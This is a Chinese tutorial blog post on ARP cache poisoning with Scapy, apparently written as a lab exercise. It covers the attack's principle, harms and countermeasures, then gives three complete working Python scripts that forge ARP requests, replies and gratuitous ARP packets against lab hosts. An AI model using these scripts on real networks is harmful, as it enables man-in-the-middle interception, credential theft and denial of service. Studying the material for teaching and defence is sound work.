使用 Scapy 库编写 ARP 缓存中毒脚本

简介: 使用 Scapy 库编写 ARP 缓存中毒脚本

一、ARP 协议基础

参考下篇文章学习

二、ARP 缓存中毒原理


ARP(Address Resolution Protocol)缓存中毒是一种网络攻击,它利用了ARP协议中的,通过欺骗或篡改网络中的ARP缓存来实施。ARP协议是用于将IP地址映射到物理MAC地址的协议,在IPv4网络中,每台计算机都有一个ARP缓存,用于保存IP地址到MAC地址的映射关系,以便进行网络通信。

2.1 步骤

**监听网络流量:**首先在目标网络中监听流量,以便识别目标计算机的IP地址和MAC地址。


**欺骗ARP响应:**发送虚假的ARP响应消息到目标计算机,告诉目标计算机说的MAC地址对应于目标计算机想要访问的IP地址。这样一来,目标计算机就会更新自己的ARP缓存,将MAC地址错误地与目标IP地址关联起来。


**中间人:**一旦目标计算机的ARP缓存被篡改,就可以拦截目标计算机发送的流量,并将其传递到正确的目标,同时也可以修改传输的数据。这使得能够窃取敏感信息或篡改通信内容。


**持久性:**可能会持续发送虚假的ARP响应,以确保目标计算机的ARP缓存保持被篡改状态,从而持续进行

2.2 危害:

**流量窃取:**可以拦截目标计算机的网络流量,窃取敏感信息,如登录凭证、信用卡信息等。


**数据篡改:**可以修改网络通信中的数据包,导致数据的篡改或损坏,可能导致系统故障或信息泄露。


**拒绝服务:**可以阻止目标计算机与其他网络资源的正常通信,导致网络服务的拒绝或延迟。


2.3 防护措施:

**ARP缓存监控:**定期监控网络中的ARP缓存,检测是否存在异常的ARP记录。


**静态ARP条目:**在网络设备中配置静态ARP条目,指定特定的IP地址与MAC地址的映射关系,以防止被篡改。


**ARP缓存定期清除:**定期清除设备上的ARP缓存,防止缓存中的错误信息长时间存在。


**网络流量加密:**使用协议(如TLS、SSH等)来保护网络通信中的数据,防止被窃取或篡改。


**网络入侵检测系统(IDS):**部署IDS来监控网络流量,检测异常的ARP活动,并及时响应和阻止

三、安装 Scapy 库

3.1 Windows

pip install scapy


3.2 Linux

git clone https://github.com/secdev/scapy
cd scapy
./run_scapy 

四、环境准备

我们可以通过Scapy内的ls命令来查看构造一个ARP类时应当具有哪些属性,如图所示:


hwtype:硬件类型字段,表示硬件地址的类型。默认为XShortEnumField类型,值为1,代表以太网。


ptype:协议类型字段,表示协议地址的类型。默认为XShortEnumField类型,值为2048,代表IPv4地址。


hwlen:硬件地址长度字段,表示硬件地址的长度。默认为FieldLenField类型,无默认值,根据硬件类型自动设置。


plen:协议地址长度字段,表示协议地址的长度。默认为FieldLenField类型,无默认值,根据协议类型自动设置。


op:操作码字段,表示ARP报文的操作类型,例如请求(1)或响应(2)。默认为ShortEnumField类型,值为1,代表ARP请求。


hwsrc:源硬件地址字段,表示发送ARP请求或响应的设备的硬件地址。默认为MultipleTypeField类型,无默认值。


psrc:源协议地址字段,表示发送ARP请求或响应的设备的协议地址(IP地址)。默认为MultipleTypeField类型,无默认值。


hwdst:目标硬件地址字段,表示ARP请求或响应的目标设备的硬件地址。默认为MultipleTypeField类型,无默认值。


pdst:目标协议地址字段,表示ARP请求或响应的目标设备的协议地址(IP地址)。默认为MultipleTypeField类型,无默认值。

小王:CentOS 9

张三:Red Hat 9


Kail

五、方式一:伪造 ARP 请求包

通过攻击者小王发送伪造 ARP 请求数据包,使小王的本地 ARP 缓存表中添加一条记录:将张三的IP地址映射到攻击者的 MAC 地址


发起

#!/usr/bin/python3
from scapy.all import *
from scapy.layers.l2 import Ether, ARP
 
# 目标的 IP 地址
Target_IP = "192.168.134.132"
 
# 伪造的 IP 地址
Forgery_IP = "192.168.134.131"
 
# 本机的 MAC 地址
My_MAC = "00:0c:29:b2:d6:43"
 
print("ARP 缓存中毒攻击中……")
 
# 创建以太网帧对象
E = Ether()
 
# 设置以太网帧的源 MAC 地址
E.src = My_MAC
 
# 创建一个ARP(Address Resolution Protocol)对象
A = ARP()
 
# 设置ARP报文的操作码为 1,表示请求包
A.op = 1
 
# 设置ARP报文的源 MAC 地址
A.hwsrc = My_MAC
 
# 设置 ARP 报文的源 IP 地址
A.psrc = Forgery_IP
 
# 设置 ARP 报文的目标 IP 地址
A.pdst = Target_IP
 
# 使用Scapy中的 / 运算符将以太网帧对象 E 和 ARP 对象 A 组合成一个数据帧,形成完整的数据帧
frame = E / A
 
# 使用Scapy中的 sendp() 函数发送构造好的数据帧
sendp(frame)

效果:小王的 ARP 缓存表中出现了张三的 IP 地址并且映射到了的 MAC 地址。同时也添加了的映射记录


六、方法二:伪造 ARP 响应包


通过向张三发送伪造 ARP 响应数据包,使张三的本地 ARP 缓存表中更新一条记录:将小王的 IP 地址映射到的 MAC 地址


值得注意的是,此时张三的 ARP 缓存表仍处于初始状态,其中并不包含小王的 IP 地址对应的映射记录,而且由于 ARP 响应报文只能更新不能添加记录,因此 ARP 响应数据包并不会在张三的 ARP 缓存表中添加小王对应的记录


因此需要张三 Ping 通小王:

这样张三的 ARP 缓存表中就包含 小王 的 IP 地址对应的映射记录:



#!/usr/bin/python3
from scapy.all import *
from scapy.layers.l2 import Ether, ARP
 
# 目标的 MAC 地址
Target_MAC = "00:0c:29:cf:1f:f2"
 
# 伪造的 IP 地址
Forgery_IP = "192.168.134.132"
 
# 伪造的 MAC 地址
Forgery_MAC = "00:0c:29:b2:d6:43"
 
print("ARP 缓存中毒攻击中……")
 
# 创建以太网帧对象
E = Ether()
 
# 设置以太网帧的目标 MAC 地址
E.dst = Target_MAC
 
# 设置以太网帧的源 MAC 地址
E.src = Forgery_MAC
 
# 创建一个 ARP(Address Resolution Protocol)对象
A = ARP()
 
# 设置 ARP 报文的操作码为 2,表示响应包
A.op = 2
 
# 设置 ARP 报文的源 MAC 地址
A.hwsrc = Forgery_MAC
 
# 设置 ARP 报文的源 IP 地址
A.psrc = Forgery_IP
 
# 设置 ARP 报文的目标 MAC 地址
A.hwdst = Target_MAC
 
# 使用Scapy中的 / 运算符将以太网帧对象 E 和 ARP 对象 A 组合成一个数据帧,形成完整的数据帧
frame = E / A
 
# 使用Scapy中的 sendp() 函数发送构造好的数据帧
sendp(frame)



成功!


效果:张三的 ARP 缓存表中小王的 IP 地址映射到了 的 MAC 地址


七、方式三:伪造免费 ARP 包

通过 向网络中其它主机发送伪造免费 ARP 数据包,使张三和小王的本地 ARP 缓存表中更新一条记录:将攻击者的 IP 地址映射的 MAC 地址更新为:aa:bb:cc:dd:ee:ff


注意:免费 ARP 报文只能更新不能添加记录,所以与 ARP 响应包一样先有缓存记录


前提:张三和小王都先 Ping 通

发起  

#!/usr/bin/python3
from scapy.all import *
from scapy.layers.l2 import Ether, ARP
 
# 本地的 IP 地址
My_IP = "192.168.134.130"
 
# 广播地址,向所有主机发送数据包
Broadcast_MAC = "ff:ff:ff:ff:ff:ff"
 
# 伪造的 MAC 地址
Forgery_MAC = "aa:bb:cc:dd:ee:ff"
 
print("ARP 缓存中毒攻击中……")
 
# 创建以太网帧对象
E = Ether()
 
# 设置以太网帧的目标 MAC 地址
E.dst = Broadcast_MAC
 
# 设置以太网帧的源 MAC 地址
E.src = Forgery_MAC
 
# 创建一个 ARP(Address Resolution Protocol)对象
A = ARP()
 
# 设置 ARP 报文的操作码为 1
A.op = 1
 
# 设置 ARP 报文的源 MAC 地址
A.hwsrc = Forgery_MAC
 
# 设置 ARP 报文的源 IP 地址
A.psrc = My_IP
 
# 设置 ARP 报文的目标 MAC 地址
A.hwdst = Broadcast_MAC
 
# 设置 ARP 报文的目标 IP 地址
A.pdst = My_IP
 
# 使用Scapy中的 / 运算符将以太网帧对象 E 和 ARP 对象 A 组合成一个数据帧,形成完整的数据帧
frame = E/A
 
# 使用Scapy中的 sendp() 函数发送构造好的数据帧
sendp(frame)
 


相关文章
|
4月前
|
存储 缓存 Android开发
安卓Jetpack Compose+Kotlin, 使用ExoPlayer播放多个【远程url】音频,搭配Okhttp库进行下载和缓存,播放完随机播放下一首
这是一个Kotlin项目,使用Jetpack Compose和ExoPlayer框架开发Android应用,功能是播放远程URL音频列表。应用会检查本地缓存,如果文件存在且大小与远程文件一致则使用缓存,否则下载文件并播放。播放完成后或遇到异常,会随机播放下一首音频,并在播放前随机设置播放速度(0.9到1.2倍速)。代码包括ViewModel,负责音频管理和播放逻辑,以及UI层,包含播放和停止按钮。
|
2月前
|
缓存 Java Maven
Java本地高性能缓存实践问题之SpringBoot中引入Caffeine作为缓存库的问题如何解决
Java本地高性能缓存实践问题之SpringBoot中引入Caffeine作为缓存库的问题如何解决
|
2月前
|
缓存 监控 网络协议
DNS缓存中毒
【8月更文挑战第19天】
54 16
|
2月前
|
存储 缓存 监控
警惕网络背后的陷阱:揭秘DNS缓存中毒如何悄然改变你的网络走向
【8月更文挑战第26天】DNS缓存中毒是一种网络攻击,通过篡改DNS服务器缓存,将用户重定向到恶意站点。攻击者利用伪造响应、事务ID猜测及中间人攻击等方式实施。这可能导致隐私泄露和恶意软件传播。防范措施包括使用DNSSEC、限制响应来源、定期清理缓存以及加强监控。了解这些有助于保护网络安全。
49 1
|
2月前
|
缓存 网络协议 安全
DNS缓存中毒
【8月更文挑战第20天】
50 1
|
2月前
|
缓存 监控 网络协议
DNS缓存中毒原理
【8月更文挑战第17天】
68 1
|
2月前
|
域名解析 缓存 网络协议
DNS缓存中毒
【8月更文挑战第16天】
33 1
|
2月前
|
缓存 监控 NoSQL
【Azure Redis 缓存】使用Python代码获取Azure Redis的监控指标值 (含Powershell脚本方式)
【Azure Redis 缓存】使用Python代码获取Azure Redis的监控指标值 (含Powershell脚本方式)
|
2月前
|
缓存 Java Maven
Java本地高性能缓存实践问题之SpringBoot引入Caffeine作为缓存库的问题如何解决
Java本地高性能缓存实践问题之SpringBoot引入Caffeine作为缓存库的问题如何解决
|
5月前
|
存储 缓存 监控
使用 Scapy 库编写 ARP 拒绝服务脚本
使用 Scapy 库编写 ARP 拒绝服务脚本